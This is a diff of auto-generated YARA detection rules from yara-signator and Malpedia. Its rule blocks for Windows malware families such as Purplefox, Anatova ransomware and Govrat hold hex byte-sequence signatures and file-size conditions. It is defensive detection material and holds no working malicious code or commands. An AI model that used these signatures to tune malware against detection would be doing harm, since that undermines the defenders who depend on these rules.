-		logic_hash = "b005df89a44c0f26903a8ba8f3d418d77b4a13957700f79b1d7571fcff516771"
+		logic_hash = "d649e332b74326d8b7e280b52a73b7636b1baab8e64673c71262bd2586c99629"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -130607,32 +137782,141 @@ rule MALPEDIA_Win_Scanpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c645b800 e8???????? c645fc01 837de810 8b45d4 }
-		$sequence_1 = { c745d830124100 e8???????? 8b4508 8b4dec 8945e4 40 }
-		$sequence_2 = { 52 57 8bfe 8d75d4 e8???????? be10000000 c645fc00 }
-		$sequence_3 = { 80f939 0f8fd3010000 80f930 0f8cca010000 0fbec0 0fbec9 8d848010ffffff }
-		$sequence_4 = { 7f04 3bcb 7611 8945d8 }
-		$sequence_5 = { 8b4dac c745cc0f000000 c745c800000000 c645b800 e8???????? c645fc01 }
-		$sequence_6 = { 50 8d4d80 e8???????? 83c40c 57 }
-		$sequence_7 = { 84db 7507 6a01 e8???????? 8d8de8feffff }
-		$sequence_8 = { 57 8d8dcbfeffff 51 6804010000 }
-		$sequence_9 = { 2bc1 8bcf 03c3 83cfff 2bf8 3bf9 730a }
+		$sequence_0 = { a802 7410 8b4730 a840 7509 83672800 e9???????? }
+		$sequence_1 = { 897b20 8b4320 c6400731 8b742414 8b3e 6a00 }
+		$sequence_2 = { 7454 68???????? 68???????? ff7320 e8???????? }
+		$sequence_3 = { 0f8555ffffff 894730 e9???????? 55 8bec }
+		$sequence_4 = { 85f6 0f84a9000000 e8???????? 85c0 0f8483000000 }
+		$sequence_5 = { e8???????? 8bf8 85ff 755a 39451c 7475 }
+		$sequence_6 = { 751a 395d10 7413 8b4618 e8???????? eb09 ff7618 }
+		$sequence_7 = { 51 51 33c0 50 56 ff5214 8bfb }
+		$sequence_8 = { 53 68???????? eb54 3bf3 745c 395d0c 7457 }
+		$sequence_9 = { 837d0c04 7516 ff7510 ff36 68???????? }
+		$sequence_10 = { ebcc 3bf3 7474 395d0c 746f 6a0d }
+		$sequence_11 = { 3bf3 0f8496000000 395d0c 0f848d000000 6a07 ebdd }
+		$sequence_12 = { 3bf3 0f8481000000 395d0c 747c 6a03 }
+		$sequence_13 = { e8???????? 894508 8b7d08 eb24 a1???????? 85c0 7520 }
+		$sequence_14 = { 745c 395d0c 7457 53 ff750c 8bfe c7450857000000 }
+		$sequence_15 = { e8???????? e9???????? 3bf3 0f8496000000 }
+		$sequence_16 = { 4803542460 41ff5220 4c8b442460 e9???????? }
+		$sequence_17 = { e8???????? 4c8b1d???????? ba0d000000 41834b3401 }
+		$sequence_18 = { 0f84b5000000 413bf5 0f84ac000000 41b807000000 ebd7 493bfd }
+		$sequence_19 = { 4c896c2420 e8???????? 4c8b442468 488b0d???????? 33d2 }
+		$sequence_20 = { 7423 41b904000000 413bf1 7518 8b17 }
+		$sequence_21 = { 418d5620 498bcf ff15???????? 4c8bf0 4885c0 }
+		$sequence_22 = { 498bcb 492bd0 4803542460 41ff5220 }
+		$sequence_23 = { 0f8492000000 41b803000000 ebbd 493bfd 0f8481000000 413bf5 }
+		$sequence_24 = { 4c8b18 488b542460 4533c9 488bc8 41ff5318 }
+		$sequence_25 = { 488d5e10 4533f6 488b0b 2580000000 418d5620 }
+		$sequence_26 = { ff15???????? e9???????? 493bfd 0f84d9000000 }
+		$sequence_27 = { e8???????? eb2c 8b05???????? 413bc5 7528 }
+		$sequence_28 = { 488b9424a8000000 4533c9 4533c0 ff5028 }
+		$sequence_29 = { 0f8481000000 413bf5 747c 41b80d000000 }
+		$sequence_30 = { 488bcf e8???????? e9???????? 493bfd 0f84b5000000 }
+		$sequence_31 = { 5f c3 4053 4883ec20 4c8b4108 488bd9 4d85c0 }
+		$sequence_32 = { 0f849b000000 413bf5 0f8492000000 41b803000000 ebbd }
+		$sequence_33 = { 33d2 89442448 ff15???????? 33d2 }
+		$sequence_34 = { 33d2 3bc2 0f85bd000000 33c0 89942498000000 }
+		$sequence_35 = { e8???????? 488b5c2428 85c0 753e 8b9424c8000000 }
+		$sequence_36 = { 3decc7eea6 0f84e8000000 3d0470a8c4 0f8486000000 }
+		$sequence_37 = { 488b0d???????? 4d8bc4 33d2 ff15???????? 488bf8 }
+		$sequence_38 = { 4883ec30 837a3c04 4c8b2a 488bf2 488bd9 }
+		$sequence_39 = { 89750c 8d750c e8???????? 8bf0 }
+		$sequence_40 = { 4883c208 4883e901 75e2 837c243801 0f86b2000000 }
+		$sequence_41 = { 8b450c 33db 895dfc e8???????? 8945f8 33ff eb03 }
+		$sequence_42 = { 75f5 eb06 8b05???????? 35fc5585cf 4533c9 }
+		$sequence_43 = { ff7310 ff15???????? 33d2 89b7184a0000 39971c4a0000 }
+		$sequence_44 = { ff33 50 6810040000 ff15???????? 8945fc }
+		$sequence_45 = { 56 33f6 46 8945f8 }
+		$sequence_46 = { c3 6a00 6800004000 6a00 ff15???????? a3???????? 85c0 }
+		$sequence_47 = { 46 8945f8 85c0 7551 }
+		$sequence_48 = { 57 4883ec20 8b05???????? 8364243800 }
+		$sequence_49 = { ff15???????? 8945fc 85c0 741a 6804010000 }
+		$sequence_50 = { 85c0 7551 ff33 50 }
+		$sequence_51 = { eb03 8b750c ff75f8 69f60d661900 ff75f4 81c65ff36e3c 89750c }
+		$sequence_52 = { 817424105085b8ed 33ff 47 57 be???????? 56 8d542418 }
+		$sequence_53 = { 1bdb f7db 83c303 ebc4 }
+		$sequence_54 = { 8b9424c8000000 85d2 7421 4533c9 }
+		$sequence_55 = { 4883f8ff 488bf8 7445 488d842488000000 }
+		$sequence_56 = { 48c7c101000080 ff15???????? 85c0 7568 4c8d8c24d0000000 4c8d8424c8000000 488d542428 }
+		$sequence_57 = { 4c8bc3 33d2 ff15???????? 4821742428 4c8d8424c8000000 488d542428 488d4c2450 }
+		$sequence_58 = { 4883c208 4983e801 75e4 8b442420 }
+		$sequence_59 = { 0f84ca010000 8b424c a801 0f840f010000 8b424c }
+		$sequence_60 = { 33c0 89942498000000 899424a8000000 8984249c000000 }
+		$sequence_61 = { 498be9 e8???????? 4885c0 488bf0 0f84a3000000 }
+		$sequence_62 = { 8db4083089b9ed 57 8d45f4 50 }
+		$sequence_63 = { 4d3bef 7415 498bd5 4883c9ff }
+		$sequence_64 = { 8b45fc 0fb700 8bc8 81e100f00000 }
+		$sequence_65 = { ff75fc e8???????? 8b45f0 40 c745e801000000 }
+		$sequence_66 = { 4c8bc6 ff15???????? 488bd8 493bc7 }
+		$sequence_67 = { 395d10 0f8402010000 6a03 eb13 3bf3 }
+		$sequence_68 = { 6a01 eb3d 3bf3 0f8420010000 }
+		$sequence_69 = { 8d85a2fcffff 53 50 895de4 e8???????? }
+		$sequence_70 = { 4885c9 7405 e8???????? 4883c428 c3 4053 }
+		$sequence_71 = { 493bc5 742f 488d4810 ff15???????? }
+		$sequence_72 = { 57 6806020000 668985a0fcffff 8d85a2fcffff 53 }
+		$sequence_73 = { 8be5 5d c20400 8325????????00 6a00 }
+		$sequence_74 = { 740e 44893d???????? 44893d???????? 488d442440 4c8d4c2440 4c8d442440 4889442430 }
+		$sequence_75 = { 89410e 5f 5e 5b c9 c20400 }
+		$sequence_76 = { 8bf0 33db 81c1fefeffff 33c0 83cfff 33d2 895dfc }
+		$sequence_77 = { 59 c20400 a1???????? 53 55 56 57 }
+		$sequence_78 = { 7505 8d5857 eb15 488b05???????? 89702a 48897d00 eb17 }
+		$sequence_79 = { eb08 ff15???????? 8bd8 413bde 0f85fb010000 488b05???????? }
+		$sequence_80 = { 66b90100 4889442420 e8???????? 3bc3 0f859b000000 }
+		$sequence_81 = { a1???????? 83c036 83c9ff f00fc108 }
+		$sequence_82 = { 0f8e2a040000 8a05???????? 4238042b 7521 448bc2 4963ce }
+		$sequence_83 = { e8???????? 488b0d???????? 448be0 f0834156ff 85c0 }
+		$sequence_84 = { 83c036 41 f00fc108 a1???????? 83c01e 50 }
+		$sequence_85 = { 488bf0 eb34 488d0595d6ffff 4885c0 7428 }
+		$sequence_86 = { 6a0a ff15???????? a1???????? 8b4036 }
+		$sequence_87 = { ffb72c080000 e8???????? 5e 5d 5b c3 eb10 }
+		$sequence_88 = { e9???????? 83f916 0f8fa7080000 0f8415080000 }
+		$sequence_89 = { 83c01e 50 ff15???????? 8a06 3a4704 7311 8b0f }
+		$sequence_90 = { 33d2 e8???????? 44892d???????? 33c9 44892d???????? e8???????? 488bcf }
+		$sequence_91 = { 8d4604 66d3e0 66098310170000 8d4103 }
+		$sequence_92 = { 488b0d???????? 4883c12e ff15???????? 4c8b05???????? 448d7b02 }
+		$sequence_93 = { 8b9314170000 83432801 b910000000 8d42f3 2aca }
+		$sequence_94 = { a1???????? 8b4c2404 8908 83c01e 50 ff15???????? }
+		$sequence_95 = { 83a78c00000000 33c0 c3 51 e8???????? }
+		$sequence_96 = { 8b4036 85c0 75ec 8b442404 53 8a1e }
+		$sequence_97 = { 5f 5e 5b c20800 51 53 57 }
+		$sequence_98 = { e9???????? 83e908 74eb 2bcb 0f84fa000000 2bcb }
+		$sequence_99 = { a1???????? 6a00 e8???????? a1???????? 83c01e 50 ff15???????? }
+		$sequence_100 = { c3 33c0 483bc8 7458 488b5128 483bd0 }
+		$sequence_101 = { c9 c20800 55 8bec 81ec1c010000 8d4807 83e1f8 }
+		$sequence_102 = { 5b 8be5 5d c3 0fb708 6683f902 751c }
+		$sequence_103 = { 488bd8 488b05???????? f0834056ff 4885db 0f84ec000000 }
+		$sequence_104 = { ffd7 8b1d???????? 6a3a b8???????? 56 }
+		$sequence_105 = { 48895c2408 57 4883ec30 488bd9 488b0d???????? 488bfa 4883c12e }
+		$sequence_106 = { 488b15???????? 4c8d442468 48c7c101000080 ff15???????? }
+		$sequence_107 = { 83839c000000ff 397818 0f852ffcffff 33c0 }
+		$sequence_108 = { ff35???????? c74424200e440410 c744241c08000000 ffd6 8bf8 }
+		$sequence_109 = { e8???????? 8bf0 83fe0c 74c5 3bf3 0f8581020000 a1???????? }
+		$sequence_110 = { 8b831c70be03 3305???????? 8b3d???????? 50 33f6 56 8bef }
+		$sequence_111 = { c1e804 46 33048d1062be03 85ff }
+		$sequence_112 = { 7470 8b3d???????? 56 c7459c44000000 ffd7 8d45e8 50 }
+		$sequence_113 = { 397dfc 7417 a1???????? 8b55fc 354c4e4c7e 50 }
+		$sequence_114 = { e8???????? 3bc5 89442430 0f84ac010000 53 55 }
+		$sequence_115 = { 3934850875be03 742a 8d41ff 85c0 7c10 3934850875be03 7403 }
+		$sequence_116 = { 8b30 03f5 85f6 89b31c70be03 740a }
+		$sequence_117 = { 68???????? ffd6 a3???????? 33ff 8db7c4260410 }
+		$sequence_118 = { ff75ec 8b3d???????? 8bd8 ffd7 ff75e8 ffd7 eb08 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <802816
 }
-rule MALPEDIA_Win_Shakti_Auto : FILE
+rule MALPEDIA_Win_Nautilus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "535cf33d-f06d-5859-b025-0ff160716ffb"
+		id = "bd0f8568-9347-5c4b-aef6-8e7929cf6017"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shakti_auto.yar#L1-L172"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nautilus_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "6f5489cc7281ed05aa1395fcaba968324612a285b4f1d07b39699fdb3c984697"
+		logic_hash = "6e0983236c8ba852bb2af3aa295c07b825fa6ac12512321743324e3ea59238a7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130646,40 +137930,34 @@ rule MALPEDIA_Win_Shakti_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945ec 8b4dd4 83c102 894dd4 e9???????? 8b55c0 }
-		$sequence_1 = { 0fb711 81fa4d5a0000 752e 8b45c0 8b483c }
-		$sequence_2 = { 8b45fc 8b4dd8 0308 894df0 8b55fc }
-		$sequence_3 = { 0fb7c2 83f801 753d b9ff0f0000 8b55f0 66230a 0fb7c1 }
-		$sequence_4 = { 8b45c0 03423c 8945f8 6a40 }
-		$sequence_5 = { 52 6a00 ff55e4 8945d8 8b45f8 8b4854 894de0 }
-		$sequence_6 = { 8b45e0 8b0c10 034dc0 baff0f0000 8b45f0 }
-		$sequence_7 = { 8b55f8 0355c0 8955f8 8b45f8 }
-		$sequence_8 = { 8b742408 85f6 741e 803e00 7512 ff760c e8???????? }
-		$sequence_9 = { ff34c5b4a24000 53 57 e8???????? 83c40c 85c0 }
-		$sequence_10 = { 50 ff759c ff15???????? 85c0 740d 837d9000 }
-		$sequence_11 = { 8bff 55 8bec 8b4508 33c9 3b04cd10a04000 7413 }
-		$sequence_12 = { ff15???????? 89459c 83f8ff 7507 32c0 e9???????? 57 }
-		$sequence_13 = { bf04010000 57 8d860e080000 50 6a00 }
-		$sequence_14 = { 6a08 50 890d???????? ff15???????? }
-		$sequence_15 = { 837dd400 a1???????? 7423 c700b8000000 a1???????? }
+		$sequence_0 = { 8bcf e8???????? 8bd8 8bcd e8???????? 85db 8bce }
+		$sequence_1 = { 85c0 740c 488b4598 4833c7 e9???????? c74424200f000000 e9???????? }
+		$sequence_2 = { 8bfe 486313 488d0dcc340600 f6040a02 744b 418d46fa 488bcb }
+		$sequence_3 = { 85c0 7892 488d4c2430 498bd4 e8???????? 85c0 7981 }
+		$sequence_4 = { ba03000000 4d8bc5 8d4aff e8???????? 4c8be0 4885c0 7509 }
+		$sequence_5 = { 85f6 750c 33c0 eb3a 488b0b 49890e eb30 }
+		$sequence_6 = { 85c0 79d6 4c8d45cf 488d55cf 488d4db7 e8???????? 8bd8 }
+		$sequence_7 = { eb07 c745e006000000 488d45e0 41b912000000 4d8bc4 498bd5 488bcf }
+		$sequence_8 = { 4883f803 0f8cef010000 488bd3 488bcd ff95c8010000 85c0 0f8599feffff }
+		$sequence_9 = { e8???????? 85c0 7531 488d4db0 33d2 e8???????? 85c0 }
 
 	condition:
-		7 of them and filesize <191488
+		7 of them and filesize <1302528
 }
-rule MALPEDIA_Win_Purplefox_Auto : FILE
+rule MALPEDIA_Win_Tinyfluff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "864146ba-a135-5d92-a900-c7434a0b6e81"
+		id = "68615fcb-8e02-5dda-b945-ad2728dc7f08"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purplefox_auto.yar#L1-L376"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinyfluff_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "2241b5e41c5930d16a914d761ccbb07709436fc80bf5297a0da02f1f8d89a59e"
+		logic_hash = "7b6f89788f810db3773be969b0bf83c7846502ce63a8bb1297c4bbad49f7e342"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -130691,62 +137969,32 @@ rule MALPEDIA_Win_Purplefox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945ec 8d45f0 50 8d4dd8 8d55f8 51 }
-		$sequence_1 = { d2de feca 28c3 80d262 9c }
-		$sequence_2 = { 66f7d9 c1e810 52 66c1d908 0f9fc5 }
-		$sequence_3 = { 8918 e8???????? 4c8d15a7c70000 4885c0 7404 4c8d5010 8bcb }
-		$sequence_4 = { 8d45f8 50 6a00 6a00 c745f800000000 }
-		$sequence_5 = { 488b8d08040000 488d442470 4d8b00 4533c9 ba00000100 4889742428 48899c24f0040000 }
-		$sequence_6 = { ff15???????? 488bc8 ff15???????? 488d1528460000 488bce }
-		$sequence_7 = { 8b04c52cbb4000 5d c3 8bff 55 8bec }
-		$sequence_8 = { ffd6 83c410 8d542424 52 8d442410 e8???????? }
-		$sequence_9 = { 0f1005???????? f20f100d???????? 4889bc24c8000000 33ff }
-		$sequence_10 = { 51 0f9dc3 8b742404 685af85bca 8b7c240c }
-		$sequence_11 = { 56 57 68???????? e8???????? 83c404 6a00 6a00 }
-		$sequence_12 = { cf b94523340a e8???????? 06 }
-		$sequence_13 = { b614 dc1a 7038 1f a5 }
-		$sequence_14 = { 415d 415c 5f c3 4889742478 488bb42490000000 }
-		$sequence_15 = { 8d4df4 51 52 56 6a00 50 }
-		$sequence_16 = { 488b4238 48894108 488b4a50 4885c9 }
-		$sequence_17 = { e8???????? 8dbddcfdffff e8???????? 8dbddcfdffff c745fcffffffff }
-		$sequence_18 = { 6685c9 75f1 8d85f8fdffff 56 33f6 8d5002 }
-		$sequence_19 = { 8944241c 52 8d44241c 50 }
-		$sequence_20 = { 4803d8 41b800040000 48899d00040000 e8???????? e9???????? 488b4c2470 ff15???????? }
-		$sequence_21 = { 448bcf 4889442420 e8???????? 8bc7 488d4dd0 33d2 }
-		$sequence_22 = { 8b703c 66f7da 0fbae603 0fca 20c6 01c6 42 }
-		$sequence_23 = { 4883c308 483bdf 72ed 48833d????????00 741f 488d0d36c60000 e8???????? }
-		$sequence_24 = { 57 68???????? 68???????? bf00500000 ff15???????? 50 ff15???????? }
-		$sequence_25 = { ff15???????? 488d542450 488d0d96b10000 e8???????? }
-		$sequence_26 = { 3bf3 7d1e 8b4de8 ff15???????? 8b4df8 51 }
-		$sequence_27 = { 52 ffd3 85c0 7507 b802000000 eb1a }
-		$sequence_28 = { 9c 368810 c6042413 60 }
-		$sequence_29 = { 668b460c 8b5508 6a01 668945e4 }
-		$sequence_30 = { 4533c0 33d2 4489b424a0000000 4889442420 }
-		$sequence_31 = { a1???????? a3???????? a1???????? c705????????bb454000 8935???????? }
-		$sequence_32 = { e8???????? 83c408 33ff eb23 68???????? }
-		$sequence_33 = { 4885c0 743f 488b0d???????? 488d1551970000 }
-		$sequence_34 = { 8b1d???????? 68???????? 50 ffd3 85c0 750c 8b4f08 }
-		$sequence_35 = { c744246800010000 488bf9 4889742460 89742458 89742450 4889742448 }
-		$sequence_36 = { 488d0de4d20000 483bd9 723e 488d0568d60000 483bd8 7732 488bd3 }
-		$sequence_37 = { 48ffce 75a3 8b4504 03c5 8be8 833800 }
-		$sequence_38 = { 897c2404 e8???????? e8???????? 8d64242c 0f850a000000 660fb6d8 }
-		$sequence_39 = { 56 57 4883ec50 8bc9 488d942480000000 ff15???????? }
+		$sequence_0 = { 0f84982c0000 c3 833d????????ff 7503 33c0 c3 53 }
+		$sequence_1 = { 8b04bd50704100 03c1 885c302e 46 3bf2 }
+		$sequence_2 = { 83e03f c1f906 6bc038 03048d50704100 }
+		$sequence_3 = { 85c0 7418 8b858cfbffff 85c0 7407 50 }
+		$sequence_4 = { ff15???????? 33f6 e9???????? 8d8de0fbffff 8d5102 668b01 83c102 }
+		$sequence_5 = { 8b049550704100 57 8b7d10 897d98 8955b4 }
+		$sequence_6 = { 83c410 ebe6 8b45f0 8b0c8550704100 8b45f8 807c012800 }
+		$sequence_7 = { 50 6af6 ff15???????? 8b04bd50704100 834c0318ff 33c0 }
+		$sequence_8 = { 56 57 83781408 8bf9 8bf2 897dfc 8bd0 }
+		$sequence_9 = { c1fa06 8934b8 8bc7 83e03f 6bc838 8b049550704100 8b440818 }
 
 	condition:
-		7 of them and filesize <1983488
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Cabart_Auto : FILE
+rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ec8b7b53-684b-5fca-bc08-508467faa1aa"
+		id = "94855d65-b1ce-5b35-9456-d0939a525276"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cabart_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_kt3_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "ef91551af86c18985e4a8081f5258aef75a9aeccca976feccaee2997d09b19b6"
+		logic_hash = "a5c2b8d7a42ef74a9adf1d4cae6732c8a660cac1ccf5f008908f03c7dfba3cd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130760,32 +138008,32 @@ rule MALPEDIA_Win_Cabart_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8930 8b4510 eb16 395d10 740f }
-		$sequence_1 = { 8d8500fcffff 50 ff35???????? be00020000 ff35???????? }
-		$sequence_2 = { 3bc3 7620 8d4df0 51 50 }
-		$sequence_3 = { 33c0 66898506fcffff 8d8500fcffff 50 ff35???????? be00020000 }
-		$sequence_4 = { 8d0c30 3bcf 7732 3bc3 }
-		$sequence_5 = { 8d85fcfeffff 68???????? 6804010000 50 ff15???????? 83c410 6a10 }
-		$sequence_6 = { 85db 750a 68b90b0000 e8???????? 85ed }
-		$sequence_7 = { 3bc7 750a 68ec030000 e9???????? 8bc8 }
-		$sequence_8 = { 57 8d45e8 50 6a58 56 }
-		$sequence_9 = { ff15???????? 57 8d45f4 50 6a3f 56 c745f40a000000 }
+		$sequence_0 = { 8a92c0c84000 089021d34000 40 3bc7 76f5 41 }
+		$sequence_1 = { ff15???????? 85c0 0f843a010000 83bdf0fbffff00 0f86a4000000 }
+		$sequence_2 = { 836dd001 837dd000 742c 836dd001 }
+		$sequence_3 = { 0345f8 c60000 8b4de8 51 ff15???????? 8b55e8 0fbe02 }
+		$sequence_4 = { 8955a8 66c745c80000 c745cc00000000 66c745ca0000 c745c401010000 8b4508 8945d0 }
+		$sequence_5 = { e8???????? 8945fc 837dfc00 7d05 83c8ff eb25 837dfc00 }
+		$sequence_6 = { 7527 8b55fc 0fbe4202 83f82d 751b }
+		$sequence_7 = { 51 ff15???????? 8945f0 837df000 7511 8b55f8 52 }
+		$sequence_8 = { 8b5508 83c234 83c9ff 33c0 }
+		$sequence_9 = { 8bec 83ec30 53 56 57 8b4508 8945e0 }
 
 	condition:
-		7 of them and filesize <32768
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE
+rule MALPEDIA_Win_Interception_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6cd7c8c4-20c9-5c58-baa7-e42d545001dc"
+		id = "f1a298d5-70e2-5f27-b6ee-691574cd9abf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anatova_ransom_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.interception"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.interception_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "2867d50f6d60295cd1f6876cf7316363316dea4699194cf318a991da479d380e"
+		logic_hash = "3520af3329a4b24d818d777e1e8f70b92d9cafa69a1f58bf6db64da9ed00530f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130799,32 +138047,32 @@ rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d05ec570000 48894588 488d05eb570000 48894590 }
-		$sequence_1 = { b805000000 4989c3 488b01 4989c2 4c89d1 4c89da e8???????? }
-		$sequence_2 = { 4989c2 4c89d1 e8???????? e9???????? 488b45e0 4989c2 4c89d1 }
-		$sequence_3 = { e8???????? 488b05???????? 488b0d???????? 488b15???????? 488945f0 488d45fc 4889442420 }
-		$sequence_4 = { 4883f800 0f84b2000000 488b05???????? 4883f800 0f84a1000000 488b05???????? }
-		$sequence_5 = { 4989c2 4c89d1 e8???????? 488b05???????? 4883f800 0f843e000000 8b05???????? }
-		$sequence_6 = { b800000000 4989c3 b802000000 4989c2 4c89d1 4c89da 4c8b1d???????? }
-		$sequence_7 = { 4989c0 488b45d8 4989c3 488b45a0 4989c2 4c89d1 4c89da }
-		$sequence_8 = { 4989c1 b800000000 4989c0 b800000000 4989c3 }
-		$sequence_9 = { 48b80f00000000000000 4989c0 b800000000 4989c3 488d45b1 4989c2 4c89d1 }
+		$sequence_0 = { 83e61f 8d1c8520ae0010 c1e603 8b03 f644300401 7469 57 }
+		$sequence_1 = { 72f1 56 8bf1 c1e603 3b96e8710010 }
+		$sequence_2 = { c1f805 83e61f 8d1c8520ae0010 c1e603 8b03 }
+		$sequence_3 = { ffb6ec710010 8d8560ffffff 50 e8???????? 6810200100 8d8560ffffff }
+		$sequence_4 = { 8bd0 c1f905 83e21f 8b0c8d20ae0010 f644d10401 }
+		$sequence_5 = { 8d3c8520ae0010 c1e603 8b07 03c6 f6400401 7437 }
+		$sequence_6 = { f683c19c001004 7406 8816 46 }
+		$sequence_7 = { 8d542434 f3ab 66ab aa }
+		$sequence_8 = { 8bc8 83e01f c1f905 8b0c8d20ae0010 8a44c104 }
+		$sequence_9 = { 731c 8bc8 83e01f c1f905 8b0c8d20ae0010 f644c10401 8d04c1 }
 
 	condition:
-		7 of them and filesize <671744
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Govrat_Auto : FILE
+rule MALPEDIA_Win_Wormhole_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d47ae50-0c56-5989-81a0-8fdce95f6d20"
+		id = "02cb6b4c-3f82-593d-8995-30894f37de3e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.govrat_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wormhole_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "fd342f7d8be9492612f2ff02091e469b143bdad77d63d3ee372225f78d66c202"
+		logic_hash = "468c0b29b40a7f8149923ac2555699892601064a2e38020dd68e3cf5b3d71577"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130838,32 +138086,32 @@ rule MALPEDIA_Win_Govrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7725 0fb74002 8d709f 6683fe19 7702 03c2 6685c0 }
-		$sequence_1 = { ff37 e8???????? 894620 85c0 7507 b80e000780 5f }
-		$sequence_2 = { e8???????? 83ec1c 8bf4 8965b4 }
-		$sequence_3 = { e8???????? 6aff 53 8d4db0 51 c645fc06 e8???????? }
-		$sequence_4 = { 837dc808 8b75b4 7303 8d75b4 53 51 68???????? }
-		$sequence_5 = { 8d7c2428 ab ab 7548 8d442464 50 }
-		$sequence_6 = { 0183f0bc0300 8393f4bc030000 e8???????? eb1d 8b45fc 2b45f0 ff75fc }
-		$sequence_7 = { 7311 c70485????????e8814300 40 a3???????? c3 55 8bec }
-		$sequence_8 = { 83ec18 56 8bf1 8b4610 8955f8 8945f4 83f804 }
-		$sequence_9 = { 85f6 7403 832600 837d1000 0f8690000000 8b5d08 }
+		$sequence_0 = { eb1b 3d04000100 752a a1???????? 68???????? 6a06 }
+		$sequence_1 = { 50 56 e8???????? 83c40c 8d4c2408 8d942414010000 }
+		$sequence_2 = { ffd3 6a00 6a00 89442418 8d442428 }
+		$sequence_3 = { e8???????? a1???????? 83c404 50 ff15???????? c705????????00000000 c705????????00000000 }
+		$sequence_4 = { 75f0 a1???????? 85c0 74d5 e8???????? }
+		$sequence_5 = { c705????????01000000 68f4010000 ff15???????? 8b15???????? 52 e8???????? }
+		$sequence_6 = { 85f6 7512 6a04 68???????? 6a28 57 e8???????? }
+		$sequence_7 = { 6a78 6a28 57 50 e8???????? }
+		$sequence_8 = { 8b442404 56 57 8b7c2410 6a78 6a28 }
+		$sequence_9 = { 7564 8b442418 3dff000000 7f59 6a0f }
 
 	condition:
-		7 of them and filesize <761856
+		7 of them and filesize <99576
 }
-rule MALPEDIA_Win_Hardrain_Auto : FILE
+rule MALPEDIA_Win_Megumin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
